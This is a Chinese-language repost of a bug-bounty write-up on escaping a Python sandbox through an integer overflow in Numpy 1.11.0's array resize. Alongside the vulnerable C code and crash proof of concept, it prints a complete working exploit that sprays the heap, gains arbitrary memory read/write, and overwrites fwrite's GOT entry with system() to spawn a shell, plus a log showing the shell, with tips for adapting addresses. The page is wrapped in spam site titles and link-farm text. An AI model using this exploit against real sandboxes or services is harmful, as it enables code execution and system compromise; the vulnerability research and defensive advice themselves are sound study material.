欧美中文字幕第一页-欧美中文字幕一区-欧美中文字幕一区二区三区-欧美中文字幕在线-欧美中文字幕在线播放-欧美中文字幕在线视频

利用內(nèi)存破壞實(shí)現(xiàn)Python沙盒逃逸-36大數(shù)據(jù)

我是創(chuàng)始人李巖:很抱歉!給自己產(chǎn)品做個(gè)廣告,點(diǎn)擊進(jìn)來看看。  

利用內(nèi)存破壞實(shí)現(xiàn)Python沙盒逃逸-36大數(shù)據(jù)

幾周之前心癢難耐的我參與了一段時(shí)間的漏洞賞金計(jì)劃。業(yè)余這個(gè)漏洞賞金游戲最艱巨的任務(wù)就是挑選一個(gè)能夠獲得最高回報(bào)的程序。不久我就找到一個(gè)存在于Python沙盒中執(zhí)行的用戶提交代碼的Web應(yīng)用程序的bug,這看起來很有趣,所以我決定繼續(xù)研究它。

進(jìn)過一段時(shí)間的敲打之后,我發(fā)現(xiàn)了在Python層實(shí)現(xiàn)沙盒逃逸的方法。報(bào)告歸檔了,漏洞幾天內(nèi)及時(shí)被修復(fù),得到了一筆不錯(cuò)的賞金。完美!這是一個(gè)我的漏洞賞金征程的完美開端。但這篇博文不是關(guān)于這篇報(bào)告的??傊?,從技術(shù)的角度來說我發(fā)現(xiàn)這個(gè)漏洞的過程并不有趣。事實(shí)證明回歸總可能發(fā)生問題。

起初并不確信Python沙盒的安全性會做的如此簡單。沒有太多細(xì)節(jié),沙盒使用的是操作系統(tǒng)級別隔離與鎖定Python解釋器的組合。Python環(huán)境使用的是自定義的白名單/黑名單的方式來阻止對內(nèi)置模塊,函數(shù)的訪問?;诓僮飨到y(tǒng)的隔離提供了一些額外的保護(hù),但是它相較于今天的標(biāo)準(zhǔn)來說已經(jīng)過時(shí)了。從Python解釋器的逃離并不是一個(gè)完全的勝利,但是它能夠使攻擊者危險(xiǎn)地接近于黑掉整個(gè)系統(tǒng)。

因此我回到了應(yīng)用程序進(jìn)行了測試。沒有運(yùn)氣,這確實(shí)是一個(gè)困難的挑戰(zhàn)。但突然我有了一個(gè)想法——Python模塊通常只是大量C代碼的封裝。這里肯定會有未被發(fā)現(xiàn)的內(nèi)存破壞漏洞。領(lǐng)用內(nèi)存破壞我就能夠突破Python環(huán)境的限制。

從哪里開始呢?我知道沙盒內(nèi)部導(dǎo)入模塊的白名單。或許我該先運(yùn)行一個(gè)分布式的AFL?fuzzer?還是一個(gè)符號執(zhí)行引擎?抑或使用先進(jìn)的靜態(tài)分析工具來掃描他們。當(dāng)然,我可以做其中任何事情,可能我只需要查詢一些bug跟蹤器。

利用內(nèi)存破壞實(shí)現(xiàn)Python沙盒逃逸-36大數(shù)據(jù)

利用內(nèi)存破壞實(shí)現(xiàn)Python沙盒逃逸-36大數(shù)據(jù)

利用內(nèi)存破壞實(shí)現(xiàn)Python沙盒逃逸-36大數(shù)據(jù)

結(jié)果表明在狩獵之初我并沒有這個(gè)先見之明,但問題不大。直覺引導(dǎo)我通過手動代碼審計(jì)和測試發(fā)現(xiàn)一個(gè)沙盒白名單模塊中的一個(gè)可利用的內(nèi)存破壞漏洞。這個(gè)漏洞存在于Numpy中,一個(gè)基本的科學(xué)計(jì)算庫——是許多流行包的核心包括scipy和pandas。要想了解Numpy作為漏洞根源的一大潛力,我們先來查看一下代碼的行數(shù)。

在這篇文章的其余部分,首先我將描述導(dǎo)致這個(gè)漏洞的觸發(fā)條件。接下來,我將討論一些漏洞利用開發(fā)人員應(yīng)該了解的CPython運(yùn)行時(shí)的奇事,然后我將逐步進(jìn)入實(shí)際的利用。最后,我總結(jié)了一些Python應(yīng)用程序中量化內(nèi)存損壞問題的想法。

漏洞

我將要討論漏洞是Numpy v1.11.0(或許是更舊版本)中的整數(shù)溢出錯(cuò)誤。自v1.12.0以來,該問題已經(jīng)解決,但沒有發(fā)布安全公告。

該漏洞駐留在用于調(diào)整Numpy的多維數(shù)組類對象(ndarray和friends)的API中。定義數(shù)組形狀的元組調(diào)用了resize,其中元組的每個(gè)元素都是維度的大小。

				$ python
				>>> import numpy as np
				>>> arr = np.ndarray((2, 2), ‘int32’)
				>>> arr.resize((2, 3))
				>>> arr
				array([[-895628408, 32603, -895628408],
				[ 32603, 0, 0]], dtype=int32)
			

是的這個(gè)元組會泄漏未初始化的內(nèi)存,但在這篇博文中我們不會討論這個(gè)問題

如上所言,resize實(shí)質(zhì)上會realloc 一個(gè)buffer,其大小是元組形狀和元素大小的乘積。因此在前面的代碼片段中,arr.resize((2,3))等價(jià)于 realloc(buffer,2*3*sizeof(int32)).?下一個(gè)代碼片段是C中resize的重寫實(shí)現(xiàn)。

				NPY_NO_EXPORT PyObject *
				PyArray_Resize(PyArrayObject *self, PyArray_Dims *newshape, int refcheck,
				NPY_ORDER order)
				{
				// npy_intp is `long long`
				npy_intp* new_dimensions = newshape->ptr;
				npy_intp newsize = 1;
				int new_nd = newshape->len;
				int k;
				// NPY_MAX_INTP is MAX_LONGLONG (0x7fffffffffffffff)
				npy_intp largest = NPY_MAX_INTP / PyArray_DESCR(self)->elsize;
				for(k = 0; k < new_nd; k++) {
				newsize *= new_dimensions[k];
				if (newsize <= 0 || newsize > largest) {
				return PyErr_NoMemory();
				}
				}
				if (newsize == 0) {
				sd = PyArray_DESCR(self)->elsize;
				}
				else {
				sd = newsize*PyArray_DESCR(self)->elsize;
				}
				/* Reallocate space if needed */
				new_data = realloc(PyArray_DATA(self), sd);
				if (new_data == NULL) {
				PyErr_SetString(PyExc_MemoryError,
				“cannot allocate memory for array”);
				return NULL;
				}
				((PyArrayObject_fields *)self)->data = new_data;
			

發(fā)現(xiàn)漏洞了嗎??可以在for循環(huán)(第13行)中看到,每個(gè)維度相乘以產(chǎn)生新的大小。稍后(第25行),將新大小和元素大小的乘積作為數(shù)組大小傳遞給realloc。在realloc之前有一些關(guān)于大小的驗(yàn)證,但是它不檢查整數(shù)溢出,這意味著非常大的維度可能導(dǎo)致分配大小不足的數(shù)組。 最終,這給攻擊者一個(gè)可利用的exploit類型:通過從具有溢出數(shù)組的大小索引來獲得讀寫任意內(nèi)存的能力。

讓我們來快速開發(fā)一個(gè)poc來驗(yàn)證bug的存在

				$ cat poc.py
				import numpy as np
				arr = np.array('A'*0x100)
				arr.resize(0x1000, 0x100000000000001)
				print "bytes allocated for entire array: ???" + hex(arr.nbytes)
				print "max # of elemenets for inner array: ?" + hex(arr[0].size)
				print "size of each element in inner array: " + hex(arr[0].itemsize)
				arr[0][10000000000]
				$ python poc.py
				bytes allocated for entire array: ???0x100000
				max # of elemenets for inner array: ?0x100000000000001
				size of each element in inner array: 0x100
				[1] ???2517 segmentation fault (core dumped) ?python poc.py
				$ gdb `which python` core
				...
				Program terminated with signal SIGSEGV, Segmentation fault.
				(gdb) bt
				#0 0x00007f20a5b044f0 in PyArray_Scalar (data=0x8174ae95f010, descr=0x7f20a2fb5870,
				base=<numpy.ndarray at remote 0x7f20a7870a80>) at numpy/core/src/multiarray/scalarapi.c:651
				#1 0x00007f20a5add45c in array_subscript (self=0x7f20a7870a80, op=<optimized out>)
				at numpy/core/src/multiarray/mapping.c:1619
				#2 0x00000000004ca345 in PyEval_EvalFrameEx () at ../Python/ceval.c:1539…
				(gdb) x/i $pc
				=> 0x7f20a5b044f0 <PyArray_Scalar+480>: cmpb $0x0,(%rcx)
				(gdb) x/g $rcx
				0x8174ae95f10f: Cannot access memory at address 0x8174ae95f10f
			

? Cpython 運(yùn)行時(shí)的一些奇怪之處

在開發(fā)exp之前,我想討論一些CPython運(yùn)行時(shí)的特征來簡化exp的開發(fā),同時(shí)討論一些阻擾exp開發(fā)的方法。 如果您想直接進(jìn)入漏洞利用,請直接跳過本節(jié)。

內(nèi)存泄露

通常,首要障礙之一就是要挫敗地址空間布局隨機(jī)化(ASLR)。 幸運(yùn)的是,對于攻擊者來說,Python使這變得很容易。 內(nèi)置id函數(shù)返回對象的內(nèi)存地址,或者更準(zhǔn)確地說,封裝對象的PyObject結(jié)構(gòu)的地址。

				$ gdb -q — arg /usr/bin/python2.7
				(gdb) run -i
				…
				>>> a = ‘A’*0x100
				>>> b = ‘B’*0x100000
				>>> import numpy as np
				>>> c = np.ndarray((10, 10))
				>>> hex(id(a))
				‘0x7ffff7f65848’
				>>> hex(id(b))
				‘0xa52cd0’
				>>> hex(id(c))
				‘0x7ffff7e777b0’
			

在現(xiàn)實(shí)世界的應(yīng)用程序中,開發(fā)人員應(yīng)確保不向用戶暴露id(object)。 在沙盒的環(huán)境中,你不可能對此行為做太多的擦奧做,除了可能將id添加進(jìn)黑名單或重新實(shí)現(xiàn)id來返回哈希。

理解內(nèi)存分配行為

了解分配器對于編寫exp至關(guān)重要。Python對不同的對象類型和大小實(shí)行不同的分配策略。我們來看看我們的大字符串0xa52cd0,小字符串0x7ffff7f65848和numpy數(shù)組0x7ffff7e777b0的位置。

				$ cat /proc/`pgrep python`/maps
				00400000–006ea000 r-xp 00000000 08:01 2712 /usr/bin/python2.7
				008e9000–008eb000 r — p 002e9000 08:01 2712 /usr/bin/python2.7
				008eb000–00962000 rw-p 002eb000 08:01 2712 /usr/bin/python2.7
				00962000–00fa8000 rw-p 00000000 00:00 0 [heap] ?# big string
				...
				7ffff7e1d000–7ffff7edd000 rw-p 00000000 00:00 0 # numpy array
				...
				7ffff7f0e000–7ffff7fd3000 rw-p 00000000 00:00 0 # small string
			

Python 對象結(jié)構(gòu)

溢出和破壞Python對象的元數(shù)據(jù)是一個(gè)很強(qiáng)大的能力,因此理解Python對象如何是表示的很有用。Python對象都派生自PyObject,這是一個(gè)包含引用計(jì)數(shù)和對象實(shí)際類型描述符的結(jié)構(gòu)。 值得注意的是,類型描述符包含許多字段,包括可能對讀取或覆蓋有用的函數(shù)指針。

先檢查一下我們在前面創(chuàng)建的小字符串。

				(gdb) print *(PyObject *)0x7ffff7f65848
				$2 = {ob_refcnt = 1, ob_type = 0x9070a0 <PyString_Type>}
				(gdb) print *(PyStringObject *)0x7ffff7f65848
				$3 = {ob_refcnt = 1, ob_type = 0x9070a0 <PyString_Type>, ob_size = 256, ob_shash = -1, ob_sstate = 0, ob_sval = “A”}
				(gdb) x/s ((PyStringObject *)0x7ffff7f65848)->ob_sval
				0x7ffff7f6586c: ‘A’ <repeats 200 times>...
				(gdb) ptype PyString_Type
				type = struct _typeobject {
				Py_ssize_t ob_refcnt;
				struct _typeobject *ob_type;
				Py_ssize_t ob_size;
				const char *tp_name;
				Py_ssize_t tp_basicsize;
				Py_ssize_t tp_itemsize;
				destructor tp_dealloc;
				printfunc tp_print;
				getattrfunc tp_getattr;
				setattrfunc tp_setattr;
				cmpfunc tp_compare;
				reprfunc tp_repr;
				PyNumberMethods *tp_as_number;
				PySequenceMethods *tp_as_sequence;
				PyMappingMethods *tp_as_mapping;
				hashfunc tp_hash;
				ternaryfunc tp_call;
				reprfunc tp_str;
				getattrofunc tp_getattro;
				setattrofunc tp_setattro;
				PyBufferProcs *tp_as_buffer;
				long tp_flags;
				const char *tp_doc;
				traverseproc tp_traverse;
				inquiry tp_clear;
				richcmpfunc tp_richcompare;
				Py_ssize_t tp_weaklistoffset;
				getiterfunc tp_iter;
				iternextfunc tp_iternext;
				struct PyMethodDef *tp_methods;
				struct PyMemberDef *tp_members;
				struct PyGetSetDef *tp_getset;
				struct _typeobject *tp_base;
				PyObject *tp_dict;
				descrgetfunc tp_descr_get;
				descrsetfunc tp_descr_set;
				Py_ssize_t tp_dictoffset;
				initproc tp_init;
				allocfunc tp_alloc;
				newfunc tp_new;
				freefunc tp_free;
				inquiry tp_is_gc;
				PyObject *tp_bases;
				PyObject *tp_mro;
				PyObject *tp_cache;
				PyObject *tp_subclasses;
				PyObject *tp_weaklist;
				destructor tp_del;
				unsigned int tp_version_tag;
				}
			

有許多有用的字段可用于讀取或?qū)懭腩愋椭羔槪瘮?shù)指針,數(shù)據(jù)指針,大小等。

Shellcode like it’s 1999

ctypes庫作為Python和C代碼之間的橋梁。它提供與C兼容的數(shù)據(jù)類型,并允許在DLL或共享庫中調(diào)用函數(shù)。許多具有C綁定或需要調(diào)用共享庫的模塊需要導(dǎo)入ctypes。

我注意到,導(dǎo)入ctypes會導(dǎo)致以讀/寫/執(zhí)行權(quán)限設(shè)置的4K大小的內(nèi)存區(qū)域。 如果還不明顯,這意味著攻擊者甚至不需要編寫一個(gè)ROP鏈。假定你已經(jīng)找到了RWX區(qū)域。利用一個(gè)bug就像把指針指向你的shellcode一樣簡單。

自己測試一下!

				$ cat foo.py
				import ctypes
				while True:
				pass
				$ python foo.py
				^Z
				[2] + 30567 suspended python foo.py
				$ grep rwx /proc/30567/maps
				7fcb806d5000–7fcb806d6000 rwxp 00000000 00:00 0
			

進(jìn)一步調(diào)查發(fā)現(xiàn)libffi的封閉API負(fù)責(zé)mmap?RWX區(qū)域。 但是,該區(qū)域不能在某些平臺上分配RWX,例如啟用了selinux或PAX mprotect的系統(tǒng),但有一些代碼可以解決這個(gè)限制。

我沒有花太多時(shí)間嘗試可靠地RWX mapping,但是從理論上講,如果你有一個(gè)任意讀取的exploit原函數(shù),應(yīng)該是可能的。 當(dāng)ASLR應(yīng)用于庫時(shí),動態(tài)鏈接器以可預(yù)測的順序映射庫的內(nèi)存。庫的內(nèi)存包括庫私有的全局變量和代碼本身。 Libffi將對RWX內(nèi)存的引用存儲為全局。例如,如果在堆上找到指向libffi函數(shù)的指針,則可以將RWX區(qū)域指針的地址預(yù)先計(jì)算為與libffi函數(shù)指針的地址的偏移量。每個(gè)庫版本都需要調(diào)整偏移量。

The Exploit

我在Ubuntu 14.04.5和16.04.1上測試了Python2.7二進(jìn)制文件的安全相關(guān)編譯器標(biāo)志。 發(fā)現(xiàn)幾個(gè)弱點(diǎn),這對攻擊者來說是非常有用的:

部分RELRO:可執(zhí)行文件的GOT seciotn,包含動態(tài)鏈接到二進(jìn)制文件的庫函數(shù)的指針,是可寫的。 例如,exploits可以用system()替換printf()的地址。

沒有PIE:二進(jìn)制不是位置無關(guān)的可執(zhí)行文件,這意味著當(dāng)內(nèi)核將ASLR應(yīng)用于大多數(shù)內(nèi)存映射時(shí),二進(jìn)制本身的內(nèi)容被映射到靜態(tài)地址。 由于GOT seciotn是二進(jìn)制文件的一部分,因此PIE使攻擊者更容易找到并寫入GOT。

雖然CPython是一個(gè)充滿了漏洞開發(fā)工具的環(huán)境,但是有一些力量破壞了我的許多漏洞利用嘗試,并且難以調(diào)試。

垃圾收集器,類型系統(tǒng)以及可能的其他未知的力將破壞您的漏洞利用,如果您不小心克隆對象元數(shù)據(jù)。

id()可能不可靠。由于一些原因我無法確定,Python有時(shí)會在使用原始對象時(shí)傳遞對象的副本。

分配對象的區(qū)域有些不可預(yù)測。由于一些原因我無法確定,特定的編碼模式導(dǎo)致緩沖區(qū)被分配到brk堆中,而其他模式會在一個(gè)python指定的mmap’d堆中分配。

在發(fā)現(xiàn)numpy整數(shù)溢出后不久,我向提交了一個(gè)劫持指令指針的概念證明的報(bào)告,雖然沒有注入任何代碼。 當(dāng)我最初提交時(shí),我沒有意識到PoC實(shí)際上是不可靠的,并且我無法對其服務(wù)器進(jìn)行正確的測試,因?yàn)轵?yàn)證劫持指令指針需要訪問core?dump或debugger。 供應(yīng)商承認(rèn)這個(gè)問題的合法性,但是比起我的第一份報(bào)告,他們的給的回報(bào)比較少。

還算不賴

我不是一個(gè)漏洞利用開發(fā)者,但挑戰(zhàn)自己是我做得更好。?經(jīng)過多次試錯(cuò),我最終寫了一個(gè)似乎是可靠exp。 不幸的是,我無法在供應(yīng)商的沙盒中測試它,因?yàn)樵谕瓿芍案铝薾umpy,但是在Python解釋器中本地測試時(shí)它的工作正常。

在高層次來說上,漏洞利用溢出numpy數(shù)組的大小來獲得任意的讀/寫能力。 原函數(shù)用于將系統(tǒng)的地址寫入fwrite的GOT / PLT條目。 最后,Python內(nèi)置的print調(diào)用fwrite覆蓋,所以現(xiàn)在你可以調(diào)用print ‘/bin/sh’來獲取一個(gè)shell,或者用任何命令替換/ bin / sh。

我建議從自下而上開始閱讀,包括評論。 如果您使用的是不同版本的Python,請?jiān)谶\(yùn)行該文件之前調(diào)整fwrite和system的GOT位置。

				import numpy as np
				# addr_to_str is a quick and dirty replacement for struct.pack(), needed
				# for sandbox environments that block the struct module.
				def addr_to_str(addr):
				addr_str = "%016x" % (addr)
				ret = str()
				for i in range(16, 0, -2):
				ret = ret + addr_str[i-2:i].decode('hex')
				return ret
				# read_address and write_address use overflown numpy arrays to search for
				# bytearray objects we've sprayed on the heap, represented as a PyByteArray
				# structure:
				#
				# struct PyByteArray {
				# ????Py_ssize_t ob_refcnt;
				# ????struct _typeobject *ob_type;
				# ????Py_ssize_t ob_size;
				# ????int ob_exports;
				# ????Py_ssize_t ob_alloc;
				# ????char *ob_bytes;
				# };
				#
				# Once located, the pointer to actual data `ob_bytes` is overwritten with the
				# address that we want to read or write. We then cycle through the list of byte
				# arrays until we find the ?one that has been corrupted. This bytearray is used
				# to read or write the desired location. Finally, we clean up by setting
				# `ob_bytes` back to its original value.
				def find_address(addr, data=None):
				i = 0
				j = -1
				k = 0
				if data:
				size = 0x102
				else:
				size = 0x103
				for k, arr in enumerate(arrays):
				i = 0
				for i in range(0x2000): # 0x2000 is a value that happens to work
				# Here we search for the signature of a PyByteArray structure
				j = arr[0][i].find(addr_to_str(0x1)) ?????????????????# ob_refcnt
				if (j < 0 or
				arr[0][i][j+0x10:j+0x18] != addr_to_str(size) or ?# ob_size
				arr[0][i][j+0x20:j+0x28] != addr_to_str(size+1)): # ob_alloc
				continue
				idx_bytes = j+0x28 ???????????????????????????????????# ob_bytes
				# Save an unclobbered copy of the bytearray metadata
				saved_metadata = arrays[k][0][i]
				# Overwrite the ob_bytes pointer with the provded address
				addr_string = addr_to_str(addr)
				new_metadata = (saved_metadata[0:idx_bytes] +
				addr_string +
				saved_metadata[idx_bytes+8:])
				arrays[k][0][i] = new_metadata
				ret = None
				for bytearray_ in bytearrays:
				try:
				# We differentiate the signature by size for each
				# find_address invocation because we don't want to
				# accidentally clobber the wrong ?bytearray structure.
				# We know we've hit the structure we're looking for if
				# the size matches and it contents do not equal 'XXXXXXXX'
				if len(bytearray_) == size and bytearray_[0:8] != 'XXXXXXXX':
				if data:
				bytearray_[0:8] = data # write memory
				else:
				ret = bytearray_[0:8] # read memory
				# restore the original PyByteArray->ob_bytes
				arrays[k][0][i] = saved_metadata
				return ret
				except:
				pass
				raise Exception("Failed to find address %x" % addr)
				def read_address(addr):
				return find_address(addr)
				def write_address(addr, data):
				find_address(addr, data)
				# The address of GOT/PLT entries for system() and fwrite() are hardcoded. These
				# addresses are static for a given Python binary when compiled without -fPIE.
				# You can obtain them yourself with the following command:
				# `readelf -a /path/to/python/ | grep -E '(system|fwrite)'
				SYSTEM = 0x8eb278
				FWRITE = 0x8eb810
				# Spray the heap with some bytearrays and overflown numpy arrays.
				arrays = []
				bytearrays = []
				for i in range(100):
				arrays.append(np.array('A'*0x100))
				arrays[-1].resize(0x1000, 0x100000000000001)
				bytearrays.append(bytearray('X'*0x102))
				bytearrays.append(bytearray('X'*0x103))
				# Read the address of system() and write it to fwrite()'s PLT entry.
				data = read_address(SYSTEM)
				write_address(FWRITE, data)
				# print() will now call system() with whatever string you pass
				print "PS1='[HACKED] $ ' /bin/sh"
			

運(yùn)行此exp會返回給你一個(gè)shell

				$ virtualenv .venv
				Running virtualenv with interpreter /usr/bin/python2
				New python executable in /home/gabe/Downloads/numpy-exploit/.venv/bin/python2
				Also creating executable in /home/gabe/Downloads/numpy-exploit/.venv/bin/python
				Installing setuptools, pkg_resources, pip, wheel...done.
				$ source .venv/bin/activate
				(.venv) $ pip install numpy==1.11.0
				Collecting numpy==1.11.0
				Using cached numpy-1.11.0-cp27-cp27mu-manylinux1_x86_64.whl
				Installing collected packages: numpy
				Successfully installed numpy-1.11.0
				(.venv) $ python --version
				Python 2.7.12
				(.venv) $ python numpy_exploit.py
				[HACKED] $
			

如果您不運(yùn)行Python 2.7.12,請參閱漏洞利用中的注釋,了解如何使其適用于您的Python版本。

量化風(fēng)險(xiǎn)

眾所周知,Python的核心和許多第三方模塊都是C代碼的封裝。也許不被認(rèn)識到,內(nèi)存破壞在流行的Python模塊中一直沒有像CVE,安全公告,甚至在發(fā)行說明中提到安全修補(bǔ)程序一樣被報(bào)告。

是的,Python模塊中有很多內(nèi)存損壞的bug。 當(dāng)然不是所有的都是可以利用的,但你必須從某個(gè)地方開始。為了解釋內(nèi)存破壞造成的風(fēng)險(xiǎn),我發(fā)現(xiàn)使用兩個(gè)獨(dú)立的用例來描述對話很有用:常規(guī)Python應(yīng)用程序和沙盒不受信任的代碼。

正則表達(dá)式

我們關(guān)心的應(yīng)用程序類型是具有有意義的攻擊面的那些。考慮Web應(yīng)用程序和其他面向網(wǎng)絡(luò)的服務(wù),處理不受信任的內(nèi)容,系統(tǒng)特權(quán)服務(wù)等的客戶端應(yīng)用程序。許多這些應(yīng)用程序?qū)胗沙啥袰代碼便宜而來的Python模塊,且將其內(nèi)存破壞視為安全問題。這個(gè)純粹的想法可能會使一些安全專業(yè)人員夙夜難寐,但實(shí)際上風(fēng)險(xiǎn)通常被忽視或忽視。我懷疑有幾個(gè)原因:

遠(yuǎn)程識別和利用內(nèi)存破壞問題的難度相當(dāng)高,特別是對于閉源和遠(yuǎn)程應(yīng)用程序。

應(yīng)用程序暴露不可信輸入路徑以達(dá)到易受攻擊的功能的可能性可能相當(dāng)?shù)汀?/p>

意識不足,因?yàn)镻ython模塊中的內(nèi)存損壞錯(cuò)誤通常不會被視為安全問題。

公平地說,由于某些隨機(jī)Python模塊中的緩沖區(qū)溢出而導(dǎo)致入侵的可能性可能相當(dāng)?shù)?。但是,再次聲明,?nèi)存破壞的缺陷在發(fā)生時(shí)可能是非常有害的。有時(shí)它甚至不會讓任何人明確地利用他們來造成破壞。更糟糕的是,當(dāng)庫維護(hù)者在安全性方面不考慮內(nèi)存破壞問題時(shí),給庫打上安全補(bǔ)丁是不可能的。

如果您開發(fā)了一個(gè)主要的Python應(yīng)用程序,建議您至少使用流行的Python模塊。嘗試找出您的模塊依賴的C代碼數(shù)量,并分析本地代碼暴露于應(yīng)用程序邊緣的潛力。

沙盒

一些服務(wù)允許用戶在沙箱內(nèi)運(yùn)行不受信任的Python代碼。 操作系統(tǒng)級的沙盒功能,如linux命名空間和seccomp,最近才以Docker,LXC等形式流行起來。不行的是,今日仍然可以發(fā)現(xiàn)用戶使用較弱的沙盒技術(shù) – 在chroot形式的OS層更糟糕的是,沙盒可以完全在Python中完成(請參閱pypy-sandbox和pysandbox)。

內(nèi)存破壞完全打破了OS不執(zhí)行沙盒這一原則。 執(zhí)行Python代碼子集的能力使得開發(fā)遠(yuǎn)exp比常規(guī)應(yīng)用程序更加方便。即使是由于其虛擬化系統(tǒng)調(diào)用的雙進(jìn)程模型而聲稱安全的Pypy-sandbox也可能被緩沖區(qū)溢出所破壞。

如果您想運(yùn)行任何不受信任的代碼,請投入精力建立一個(gè)安全的操作系統(tǒng)和網(wǎng)絡(luò)架構(gòu)來沙盒執(zhí)行它。

End.

轉(zhuǎn)載請注明來自36大數(shù)據(jù)(36dsj.com): 36大數(shù)據(jù) ? 利用內(nèi)存破壞實(shí)現(xiàn)Python沙盒逃逸

隨意打賞

python 大數(shù)據(jù)python數(shù)據(jù)挖掘python大數(shù)據(jù)python爬蟲沙盒游戲
提交建議
微信掃一掃,分享給好友吧。
主站蜘蛛池模板: 中文字幕日韩精品一区口 | 2020国产精品视频免费 | 色偷偷91久久综合噜噜噜噜 | 九九影院最新理论片 | 免费色片网站 | 亚洲精彩视频在线观看 | 成人影院观看 | av毛片免费看| 久久综合色之久久综合 | 皮皮在线精品亚洲 | 免费黄色福利 | 亚洲精品久久久久中文字幕一区 | 亚洲精品一区 | 国产成人在线视频观看 | 国产精品爱久久久久久久三级 | 奇米第四色在线 | 中文字幕人成不卡一区 | 午夜色大片在线观看 | 四虎影院黄色片 | 亚洲无成人网77777 | 男人的天堂222eee | 神马午夜不卡影院 | 奇米婷婷| 这里只有精品66 | 亚洲第二页| 国产精品久久久久影视不卡 | 亚洲性免费 | 精品国产一区二区三区不卡 | 三区在线观看 | 人人揉人人爽五月天视频 | 成人欧美一区二区三区在线观看 | 国产精品午夜在线观看 | 91粉嫩萝控精品福利网站 | 国产精品27页 | www.四虎网站 | 九九精品九九 | 狠狠躁夜夜躁人人爽天天不 | 精品国产成人a在线观看 | 亚洲欧美二区三区久本道 | 四虎精品免费久久 | 2020久久精品国产免费 |